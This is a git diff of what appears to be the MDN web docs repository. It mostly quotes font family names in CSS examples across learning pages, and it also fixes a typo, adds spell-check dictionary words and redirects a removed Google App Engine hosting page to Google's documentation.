diff --git a/.vscode/dictionaries/proper-names.txt b/.vscode/dictionaries/proper-names.txt
index 7c4a3a296500713..a1d30c1af1059ed 100644
--- a/.vscode/dictionaries/proper-names.txt
+++ b/.vscode/dictionaries/proper-names.txt
@@ -89,6 +89,7 @@ carolinensis
 Cassini
 Caterina
 caugner
+cdxgen
 Chakra
 Chamakh
 Chimero
diff --git a/.vscode/dictionaries/terms-abbreviations.txt b/.vscode/dictionaries/terms-abbreviations.txt
index 162c3604a33c277..d15ebfb86206ebd 100644
--- a/.vscode/dictionaries/terms-abbreviations.txt
+++ b/.vscode/dictionaries/terms-abbreviations.txt
@@ -62,6 +62,7 @@ BGRA
 Bignums
 bikeshedding
 bilevel
+bioinformatics
 bitfield
 bitmapped
 bitness
diff --git a/files/en-us/_redirects.txt b/files/en-us/_redirects.txt
index 630d3a416b6bb0e..5078db95624dd57 100644
--- a/files/en-us/_redirects.txt
+++ b/files/en-us/_redirects.txt
@@ -5295,8 +5295,8 @@
 /en-US/docs/Learn/Common_questions/Design_and_accessibility/What_is_accessibility	/en-US/docs/Learn_web_development/Howto/Design_and_accessibility/What_is_accessibility
 /en-US/docs/Learn/Common_questions/Design_for_all_types_of_users	/en-US/docs/Learn_web_development/Howto/Design_and_accessibility/Design_for_all_types_of_users
 /en-US/docs/Learn/Common_questions/HTML_features_for_accessibility	/en-US/docs/Learn_web_development/Howto/Design_and_accessibility/HTML_features_for_accessibility
-/en-US/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine	/en-US/docs/Learn_web_development/Howto/Tools_and_setup/How_do_you_host_your_website_on_Google_App_Engine
-/en-US/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine	/en-US/docs/Learn_web_development/Howto/Tools_and_setup/How_do_you_host_your_website_on_Google_App_Engine
+/en-US/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine	https://cloud.google.com/appengine/docs/
+/en-US/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine	https://cloud.google.com/appengine/docs/
 /en-US/docs/Learn/Common_questions/How_does_the_Internet_work	/en-US/docs/Learn_web_development/Howto/Web_mechanics/How_does_the_Internet_work
 /en-US/docs/Learn/Common_questions/How_much_does_it_cost	/en-US/docs/Learn_web_development/Howto/Tools_and_setup/How_much_does_it_cost
 /en-US/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines	/en-US/docs/Learn_web_development/Getting_started/Environment_setup/Browsing_the_web
@@ -5305,7 +5305,7 @@
 /en-US/docs/Learn/Common_questions/Tools_and_setup	/en-US/docs/Learn_web_development/Howto/Tools_and_setup
 /en-US/docs/Learn/Common_questions/Tools_and_setup/Available_text_editors	/en-US/docs/Learn_web_development/Howto/Tools_and_setup/Available_text_editors
 /en-US/docs/Learn/Common_questions/Tools_and_setup/Checking_that_your_web_site_is_working_properly	/en-US/docs/Learn_web_development/Howto/Tools_and_setup/Checking_that_your_web_site_is_working_properly
-/en-US/docs/Learn/Common_questions/Tools_and_setup/How_do_you_host_your_website_on_Google_App_Engine	/en-US/docs/Learn_web_development/Howto/Tools_and_setup/How_do_you_host_your_website_on_Google_App_Engine
+/en-US/docs/Learn/Common_questions/Tools_and_setup/How_do_you_host_your_website_on_Google_App_Engine	https://cloud.google.com/appengine/docs/
 /en-US/docs/Learn/Common_questions/Tools_and_setup/How_much_does_it_cost	/en-US/docs/Learn_web_development/Howto/Tools_and_setup/How_much_does_it_cost
 /en-US/docs/Learn/Common_questions/Tools_and_setup/Upload_files_to_a_web_server	/en-US/docs/Learn_web_development/Howto/Tools_and_setup/Upload_files_to_a_web_server
 /en-US/docs/Learn/Common_questions/Tools_and_setup/Using_GitHub_pages	/en-US/docs/Learn_web_development/Howto/Tools_and_setup/Using_GitHub_pages
@@ -5860,6 +5860,7 @@
 /en-US/docs/Learn_web_development/Howto/Solve_HTML_problems/Define_terms_with_HTML	/en-US/docs/Web/HTML/How_to/Define_terms_with_HTML
 /en-US/docs/Learn_web_development/Howto/Solve_HTML_problems/Use_JavaScript_within_a_webpage	/en-US/docs/Web/HTML/How_to/Add_JavaScript_to_your_web_page
 /en-US/docs/Learn_web_development/Howto/Solve_HTML_problems/Use_data_attributes	/en-US/docs/Web/HTML/How_to/Use_data_attributes
+/en-US/docs/Learn_web_development/Howto/Tools_and_setup/How_do_you_host_your_website_on_Google_App_Engine	https://cloud.google.com/appengine/docs/
 /en-US/docs/Liberty!_Equality!_Validity!	/en-US/docs/Learn_web_development/Core/Structuring_content/Debugging_HTML
 /en-US/docs/Link_prefetching_FAQ	/en-US/docs/Glossary/Prefetch
 /en-US/docs/Localization	/en-US/docs/Glossary/Localization
diff --git a/files/en-us/_wikihistory.json b/files/en-us/_wikihistory.json
index beb4ba02db4f4a7..40cb85c5ee23325 100644
--- a/files/en-us/_wikihistory.json
+++ b/files/en-us/_wikihistory.json
@@ -10748,10 +10748,6 @@
       "notabene"
     ]
   },
-  "Learn_web_development/Howto/Tools_and_setup/How_do_you_host_your_website_on_Google_App_Engine": {
-    "modified": "2020-07-16T22:35:52.276Z",
-    "contributors": ["Mori", "anton-mladenov", "4a-j"]
-  },
   "Learn_web_development/Howto/Tools_and_setup/How_much_does_it_cost": {
     "modified": "2020-07-16T22:35:45.160Z",
     "contributors": [
diff --git a/files/en-us/glossary/css_selector/index.md b/files/en-us/glossary/css_selector/index.md
index a59694026599637..c6fc31e4368f32e 100644
--- a/files/en-us/glossary/css_selector/index.md
+++ b/files/en-us/glossary/css_selector/index.md
@@ -26,9 +26,9 @@ div.warning {
 
 #customized {
   font:
-    16px Lucida Grande,
-    Arial,
-    Helvetica,
+    16px "Lucida Grande",
+    "Helvetica",
+    "Arial",
     sans-serif;
 }
 ```
diff --git a/files/en-us/learn_web_development/core/accessibility/test_your_skills/css_and_javascript/index.md b/files/en-us/learn_web_development/core/accessibility/test_your_skills/css_and_javascript/index.md
index 314fda26e22f71c..02e29874e42f8a6 100644
--- a/files/en-us/learn_web_development/core/accessibility/test_your_skills/css_and_javascript/index.md
+++ b/files/en-us/learn_web_development/core/accessibility/test_your_skills/css_and_javascript/index.md
@@ -26,9 +26,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
diff --git a/files/en-us/learn_web_development/core/accessibility/test_your_skills/html/index.md b/files/en-us/learn_web_development/core/accessibility/test_your_skills/html/index.md
index 27ea5fc03b4a75d..31101f34bc47550 100644
--- a/files/en-us/learn_web_development/core/accessibility/test_your_skills/html/index.md
+++ b/files/en-us/learn_web_development/core/accessibility/test_your_skills/html/index.md
@@ -26,9 +26,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
diff --git a/files/en-us/learn_web_development/core/accessibility/test_your_skills/wai-aria/index.md b/files/en-us/learn_web_development/core/accessibility/test_your_skills/wai-aria/index.md
index 1abc85672e805b6..11dbcd6e6440c57 100644
--- a/files/en-us/learn_web_development/core/accessibility/test_your_skills/wai-aria/index.md
+++ b/files/en-us/learn_web_development/core/accessibility/test_your_skills/wai-aria/index.md
@@ -26,9 +26,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
diff --git a/files/en-us/learn_web_development/core/css_layout/floats/index.md b/files/en-us/learn_web_development/core/css_layout/floats/index.md
index f8f9a04cf76e990..9fe07f6dbec5014 100644
--- a/files/en-us/learn_web_development/core/css_layout/floats/index.md
+++ b/files/en-us/learn_web_development/core/css_layout/floats/index.md
@@ -93,8 +93,8 @@ body {
   max-width: 900px;
   margin: 0 auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 
@@ -219,8 +219,8 @@ body {
   max-width: 900px;
   margin: 0 auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 
@@ -289,8 +289,8 @@ body {
   max-width: 900px;
   margin: 0 auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 
@@ -391,8 +391,8 @@ body {
   max-width: 900px;
   margin: 0 auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 
@@ -463,8 +463,8 @@ body {
   max-width: 900px;
   margin: 0 auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 
diff --git a/files/en-us/learn_web_development/core/css_layout/media_queries/index.md b/files/en-us/learn_web_development/core/css_layout/media_queries/index.md
index a8dcfd1c0efa04d..bdd00c73d269280 100644
--- a/files/en-us/learn_web_development/core/css_layout/media_queries/index.md
+++ b/files/en-us/learn_web_development/core/css_layout/media_queries/index.md
@@ -451,8 +451,8 @@ body {
   width: 90%;
   margin: 2em auto;
   font:
-    1em/1.3 Arial,
-    Helvetica,
+    1em/1.3 "Helvetica",
+    "Arial",
     sans-serif;
 }
 
diff --git a/files/en-us/learn_web_development/core/css_layout/multiple-column_layout/index.md b/files/en-us/learn_web_development/core/css_layout/multiple-column_layout/index.md
index e198fbb83695575..3cdc59e416a4faa 100644
--- a/files/en-us/learn_web_development/core/css_layout/multiple-column_layout/index.md
+++ b/files/en-us/learn_web_development/core/css_layout/multiple-column_layout/index.md
@@ -53,8 +53,8 @@ body {
   max-width: 900px;
   margin: 2em auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 ```
@@ -108,8 +108,8 @@ body {
   max-width: 900px;
   margin: 2em auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 ```
@@ -172,8 +172,8 @@ body {
   max-width: 900px;
   margin: 2em auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 ```
@@ -224,8 +224,8 @@ body {
   max-width: 900px;
   margin: 2em auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 .container {
@@ -290,8 +290,8 @@ body {
   max-width: 900px;
   margin: 2em auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 ```
@@ -414,8 +414,8 @@ body {
   max-width: 900px;
   margin: 2em auto;
   font:
-    0.9em/1.2 Arial,
-    Helvetica,
+    0.9em/1.2 "Helvetica",
+    "Arial",
     sans-serif;
 }
 ```
diff --git a/files/en-us/learn_web_development/core/css_layout/responsive_design/index.md b/files/en-us/learn_web_development/core/css_layout/responsive_design/index.md
index e7cab174ad3093f..e8414e7050231b8 100644
--- a/files/en-us/learn_web_development/core/css_layout/responsive_design/index.md
+++ b/files/en-us/learn_web_development/core/css_layout/responsive_design/index.md
@@ -342,8 +342,8 @@ html {
 
 body {
   font:
-    1.2em Helvetica,
-    Arial,
+    1.2em "Helvetica",
+    "Arial",
     sans-serif;
   margin: 20px;
   padding: 0;
diff --git a/files/en-us/learn_web_development/core/frameworks_libraries/angular_item_component/index.md b/files/en-us/learn_web_development/core/frameworks_libraries/angular_item_component/index.md
index 2a61155fa19dbd1..cc7f97e68f120b9 100644
--- a/files/en-us/learn_web_development/core/frameworks_libraries/angular_item_component/index.md
+++ b/files/en-us/learn_web_development/core/frameworks_libraries/angular_item_component/index.md
@@ -457,7 +457,7 @@ Adapted from https://css-tricks.com/the-checkbox-hack/#custom-designed-radio-but
   line-height: 0.8;
   color: #0d8dee;
   transition: all 0.2s;
-  font-family: "Lucida Sans Unicode", "Arial Unicode MS", Arial;
+  font-family: "Lucida Sans Unicode", "Arial Unicode MS", "Arial";
 }
 /* checked mark aspect changes */
 [type="checkbox"]:not(:checked) + label::after {
diff --git a/files/en-us/learn_web_development/core/frameworks_libraries/angular_styling/index.md b/files/en-us/learn_web_development/core/frameworks_libraries/angular_styling/index.md
index 653cf1378d9e164..6f8fb9a2b05de7f 100644
--- a/files/en-us/learn_web_development/core/frameworks_libraries/angular_styling/index.md
+++ b/files/en-us/learn_web_development/core/frameworks_libraries/angular_styling/index.md
@@ -46,7 +46,7 @@ In `src/styles.css`, paste the following styles:
 
 ```css
 body {
-  font-family: Helvetica, Arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 .btn-wrapper {
diff --git a/files/en-us/learn_web_development/core/frameworks_libraries/introduction/index.md b/files/en-us/learn_web_development/core/frameworks_libraries/introduction/index.md
index 6da174ac9ebbd75..9d4476453dac45b 100644
--- a/files/en-us/learn_web_development/core/frameworks_libraries/introduction/index.md
+++ b/files/en-us/learn_web_development/core/frameworks_libraries/introduction/index.md
@@ -182,7 +182,8 @@ body {
   line-height: 1.25;
   font-family:
     -apple-system, BlinkMacSystemFont, "Segoe UI", "Apple Color Emoji",
-    "Segoe UI Emoji", "Segoe UI Symbol", Roboto, Helvetica, Arial, sans-serif;
+    "Segoe UI Emoji", "Segoe UI Symbol", "Roboto", "Helvetica", "Arial",
+    sans-serif;
   color: hsl(0 0 0.13);
 
   width: 95%;
diff --git a/files/en-us/learn_web_development/core/frameworks_libraries/react_todo_list_beginning/index.md b/files/en-us/learn_web_development/core/frameworks_libraries/react_todo_list_beginning/index.md
index 2a4cc0de95b58ca..753fa76c120821b 100644
--- a/files/en-us/learn_web_development/core/frameworks_libraries/react_todo_list_beginning/index.md
+++ b/files/en-us/learn_web_development/core/frameworks_libraries/react_todo_list_beginning/index.md
@@ -314,7 +314,7 @@ body {
   background-color: whitesmoke;
   color: #4d4d4d;
   font:
-    1.6rem/1.25 Arial,
+    1.6rem/1.25 "Arial",
     sans-serif;
   margin: 0 auto;
   max-width: 68rem;
@@ -487,7 +487,7 @@ body {
   box-sizing: border-box;
   clear: left;
   display: block;
-  font-family: Arial, sans-serif;
+  font-family: "Arial", sans-serif;
   font-size: 1.6rem;
   font-weight: 400;
   line-height: 1.25;
diff --git a/files/en-us/learn_web_development/core/frameworks_libraries/svelte_todo_list_beginning/index.md b/files/en-us/learn_web_development/core/frameworks_libraries/svelte_todo_list_beginning/index.md
index 1c512ffba2ffb4d..bd4c2432c53f90c 100644
--- a/files/en-us/learn_web_development/core/frameworks_libraries/svelte_todo_list_beginning/index.md
+++ b/files/en-us/learn_web_development/core/frameworks_libraries/svelte_todo_list_beginning/index.md
@@ -454,7 +454,7 @@ body {
   max-width: 68rem;
   margin: 0 auto;
   font:
-    1.6rem/1.25 Arial,
+    1.6rem/1.25 "Arial",
     sans-serif;
   background-color: whitesmoke;
   color: #4d4d4d;
@@ -630,7 +630,7 @@ body {
 /* CHECKBOX STYLES */
 .c-cb {
   box-sizing: border-box;
-  font-family: Arial, sans-serif;
+  font-family: "Arial", sans-serif;
   -webkit-font-smoothing: antialiased;
   font-weight: 400;
   font-size: 1.6rem;
diff --git a/files/en-us/learn_web_development/core/frameworks_libraries/vue_conditional_rendering/index.md b/files/en-us/learn_web_development/core/frameworks_libraries/vue_conditional_rendering/index.md
index 313eee10e852289..d2bcbc410ce21c2 100644
--- a/files/en-us/learn_web_development/core/frameworks_libraries/vue_conditional_rendering/index.md
+++ b/files/en-us/learn_web_development/core/frameworks_libraries/vue_conditional_rendering/index.md
@@ -98,7 +98,7 @@ export default {
 </script>
 <style scoped>
 .edit-label {
-  font-family: Arial, sans-serif;
+  font-family: "Arial", sans-serif;
   -webkit-font-smoothing: antialiased;
   -moz-osx-font-smoothing: grayscale;
   color: #0b0c0c;
diff --git a/files/en-us/learn_web_development/core/frameworks_libraries/vue_styling/index.md b/files/en-us/learn_web_development/core/frameworks_libraries/vue_styling/index.md
index 247ee9564eb4b61..06d77c2fc0be851 100644
--- a/files/en-us/learn_web_development/core/frameworks_libraries/vue_styling/index.md
+++ b/files/en-us/learn_web_development/core/frameworks_libraries/vue_styling/index.md
@@ -123,8 +123,8 @@ body {
   margin: 0 auto;
   font:
     1.6rem/1.25 "Helvetica Neue",
-    Helvetica,
-    Arial,
+    "Helvetica",
+    "Arial",
     sans-serif;
   background-color: whitesmoke;
   color: #4d4d4d;
@@ -346,7 +346,7 @@ Next, copy the following CSS into the newly created `<style>` element:
 
 ```css
 .custom-checkbox > .checkbox-label {
-  font-family: Arial, sans-serif;
+  font-family: "Arial", sans-serif;
   -webkit-font-smoothing: antialiased;
   -moz-osx-font-smoothing: grayscale;
   font-weight: 400;
@@ -357,7 +357,7 @@ Next, copy the following CSS into the newly created `<style>` element:
   margin-bottom: 5px;
 }
 .custom-checkbox > .checkbox {
-  font-family: Arial, sans-serif;
+  font-family: "Arial", sans-serif;
   -webkit-font-smoothing: antialiased;
   -moz-osx-font-smoothing: grayscale;
   font-weight: 400;
@@ -378,7 +378,7 @@ Next, copy the following CSS into the newly created `<style>` element:
   box-shadow: inset 0 0 0 2px;
 }
 .custom-checkbox {
-  font-family: Arial, sans-serif;
+  font-family: "Arial", sans-serif;
   -webkit-font-smoothing: antialiased;
   font-weight: 400;
   font-size: 1.6rem;
diff --git a/files/en-us/learn_web_development/core/scripting/image_gallery/index.md b/files/en-us/learn_web_development/core/scripting/image_gallery/index.md
index 92afa8176369567..aad9629450aea0d 100644
--- a/files/en-us/learn_web_development/core/scripting/image_gallery/index.md
+++ b/files/en-us/learn_web_development/core/scripting/image_gallery/index.md
@@ -195,7 +195,7 @@ const images = [
   { filename: "pic1.jpg", alt: "Closeup of a human eye" },
   { filename: "pic2.jpg", alt: "Rock that looks like a wave" },
   { filename: "pic3.jpg", alt: "Purple and white pansies" },
-  { filename: "pic4.jpg", alt: "Section of wall from a pharoah's tomb" },
+  { filename: "pic4.jpg", alt: "Section of wall from a pharaoh's tomb" },
   { filename: "pic5.jpg", alt: "Large moth on a leaf" },
 ];
 
diff --git a/files/en-us/learn_web_development/core/scripting/what_is_javascript/index.md b/files/en-us/learn_web_development/core/scripting/what_is_javascript/index.md
index 120c109cde70df7..7e4d64b5fc48b10 100644
--- a/files/en-us/learn_web_development/core/scripting/what_is_javascript/index.md
+++ b/files/en-us/learn_web_development/core/scripting/what_is_javascript/index.md
@@ -53,7 +53,7 @@ Then we can add some CSS into the mix to get it looking nice:
 
 ```css live-sample___string-concat-name
 button {
-  font-family: "helvetica neue", helvetica, sans-serif;
+  font-family: "Helvetica Neue", "Helvetica", sans-serif;
   letter-spacing: 1px;
   text-transform: uppercase;
   border: 2px solid rgb(200 200 0 / 60%);
diff --git a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/advanced_html_text/index.md b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/advanced_html_text/index.md
index 0a310a51aba7219..0777c4cf82c1dd1 100644
--- a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/advanced_html_text/index.md
+++ b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/advanced_html_text/index.md
@@ -52,9 +52,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
diff --git a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/audio_and_video/index.md b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/audio_and_video/index.md
index 075f9dd264c69bf..187be0727abb596 100644
--- a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/audio_and_video/index.md
+++ b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/audio_and_video/index.md
@@ -35,9 +35,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
diff --git a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/forms_and_buttons/index.md b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/forms_and_buttons/index.md
index c50f1506d411054..5c84ad3c1f3feb8 100644
--- a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/forms_and_buttons/index.md
+++ b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/forms_and_buttons/index.md
@@ -30,9 +30,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
diff --git a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/html_text_basics/index.md b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/html_text_basics/index.md
index c5562371d72ac73..57b331b58f89c6c 100644
--- a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/html_text_basics/index.md
+++ b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/html_text_basics/index.md
@@ -38,9 +38,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
diff --git a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/images/index.md b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/images/index.md
index 78bd556c8d0a784..03d96eabf6c5f78 100644
--- a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/images/index.md
+++ b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/images/index.md
@@ -36,9 +36,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
diff --git a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/links/index.md b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/links/index.md
index 95446c88ae14698..bdaaf7b7b03c49a 100644
--- a/files/en-us/learn_web_development/core/structuring_content/test_your_skills/links/index.md
+++ b/files/en-us/learn_web_development/core/structuring_content/test_your_skills/links/index.md
@@ -46,9 +46,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
@@ -126,9 +126,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
@@ -213,9 +213,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
diff --git a/files/en-us/learn_web_development/core/styling_basics/advanced_styling_effects/index.md b/files/en-us/learn_web_development/core/styling_basics/advanced_styling_effects/index.md
index fac9d7a8f2a87b0..3d56fe17ddb9ca1 100644
--- a/files/en-us/learn_web_development/core/styling_basics/advanced_styling_effects/index.md
+++ b/files/en-us/learn_web_development/core/styling_basics/advanced_styling_effects/index.md
@@ -431,7 +431,7 @@ You can see this in action in the live sample below:
 
 ```css hidden live-sample___webkit-background-clip
 body {
-  font-family: impact, sans-serif;
+  font-family: "impact", sans-serif;
 }
 
 h2 {
diff --git a/files/en-us/learn_web_development/core/styling_basics/getting_started/index.md b/files/en-us/learn_web_development/core/styling_basics/getting_started/index.md
index 2f3a8273f64db31..865883f0d4228e1 100644
--- a/files/en-us/learn_web_development/core/styling_basics/getting_started/index.md
+++ b/files/en-us/learn_web_development/core/styling_basics/getting_started/index.md
@@ -523,8 +523,8 @@ CSS comments begin with `/*` and end with `*/`. In the example below, comments m
 /* ---------------------------- */
 body {
   font:
-    1em/150% Helvetica,
-    Arial,
+    1em/150% "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0 auto;
@@ -605,7 +605,7 @@ h1 {
 The next example shows the same CSS in a more compressed format, with all extra white space removed. Although the two examples work the same, the one below is more difficult to read.
 
 ```css-nolint
-body{font:1em/150% Helvetica,Arial,sans-serif;padding:1em;margin:0 auto;max-width:33em;}
+body{font:1em/150% "Helvetica","Arial",sans-serif;padding:1em;margin:0 auto;max-width:33em;}
 @media(width>=70em){body{font-size:130%;}}
 h1{font-size:1.5em;}
 ```
diff --git a/files/en-us/learn_web_development/core/styling_basics/handling_conflicts/index.md b/files/en-us/learn_web_development/core/styling_basics/handling_conflicts/index.md
index 20daf650a9f02c5..4774aa8fe8e13ab 100644
--- a/files/en-us/learn_web_development/core/styling_basics/handling_conflicts/index.md
+++ b/files/en-us/learn_web_development/core/styling_basics/handling_conflicts/index.md
@@ -314,7 +314,7 @@ This behavior helps avoid repetition in your CSS. A common practice is to define
 h2 {
   font-size: 2em;
   color: black;
-  font-family: Georgia, "Times New Roman", Times, serif;
+  font-family: "Georgia", serif;
 }
 
 .small {
diff --git a/files/en-us/learn_web_development/core/styling_basics/tables/index.md b/files/en-us/learn_web_development/core/styling_basics/tables/index.md
index 6532aef429f0d0c..81afea3c19a9753 100644
--- a/files/en-us/learn_web_development/core/styling_basics/tables/index.md
+++ b/files/en-us/learn_web_development/core/styling_basics/tables/index.md
@@ -155,7 +155,7 @@ td {
 
 /* typography */
 html {
-  font-family: "helvetica neue", helvetica, arial, sans-serif;
+  font-family: "Helvetica Neue", "Helvetica", "Arial", sans-serif;
 }
 
 thead th,
@@ -246,7 +246,7 @@ This is a minor point, and not strictly relevant to styling tables, but we thoug
 
 ```css
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 ```
 
@@ -381,7 +381,7 @@ Your finished table design should look like so:
 
 ```css hidden live-sample___best-practice-style
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 table {
diff --git a/files/en-us/learn_web_development/core/styling_basics/test_your_skills/images/index.md b/files/en-us/learn_web_development/core/styling_basics/test_your_skills/images/index.md
index f1152c8aa221a62..533c833b8124e4b 100644
--- a/files/en-us/learn_web_development/core/styling_basics/test_your_skills/images/index.md
+++ b/files/en-us/learn_web_development/core/styling_basics/test_your_skills/images/index.md
@@ -175,9 +175,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   margin: 0;
diff --git a/files/en-us/learn_web_development/core/text_styling/fundamentals/index.md b/files/en-us/learn_web_development/core/text_styling/fundamentals/index.md
index 058dd14519fdce2..2d5c8abcaba339d 100644
--- a/files/en-us/learn_web_development/core/text_styling/fundamentals/index.md
+++ b/files/en-us/learn_web_development/core/text_styling/fundamentals/index.md
@@ -91,11 +91,11 @@ To set a different font for your text, you use the {{cssxref("font-family")}} pr
 
 ```css
 p {
-  font-family: Arial;
+  font-family: "Arial";
 }
 ```
 
-This would make all paragraphs on a page adopt the arial font, which is found on any computer.
+This would make all paragraphs on a page adopt the Arial font, which is found on any computer.
 
 > [!NOTE]
 > Scrimba's [Web-safe fonts](https://scrimba.com/learn-html-and-css-c0p/~01r?via=mdn) <sup>[_MDN learning partner_](/en-US/docs/MDN/Writing_guidelines/Learning_content#partner_links_and_embeds)</sup> scrim provides an interactive guide to why fonts are important, web-safe fonts, and how to specify fonts in CSS — along with a challenge to test your knowledge.
@@ -272,7 +272,7 @@ Since you can't guarantee the availability of the fonts you want to use on your
 
 ```css
 p {
-  font-family: "Trebuchet MS", Verdana, sans-serif;
+  font-family: "Trebuchet MS", "Verdana", sans-serif;
 }
 ```
 
@@ -293,7 +293,7 @@ Let's add to our previous example, giving the paragraphs a sans-serif font:
 ```css live-sample___2fonts live-sample___3font-style live-sample___4shadows live-sample___5text-align live-sample___6line-height live-sample___7letter-word-spacing
 p {
   color: red;
-  font-family: Helvetica, Arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 ```
 
@@ -372,7 +372,7 @@ h1 + p {
 p {
   font-size: 1.5rem;
   color: red;
-  font-family: Helvetica, Arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 ```
 
@@ -514,8 +514,8 @@ A full example would look like this:
 
 ```css
 font:
-  italic normal bold normal 3em/1.5 Helvetica,
-  Arial,
+  italic normal bold normal 3em/1.5 "Helvetica",
+  "Arial",
   sans-serif;
 ```
 
diff --git a/files/en-us/learn_web_development/core/text_styling/styling_lists/index.md b/files/en-us/learn_web_development/core/text_styling/styling_lists/index.md
index 4d2f584177f17a2..173970277b41922 100644
--- a/files/en-us/learn_web_development/core/text_styling/styling_lists/index.md
+++ b/files/en-us/learn_web_development/core/text_styling/styling_lists/index.md
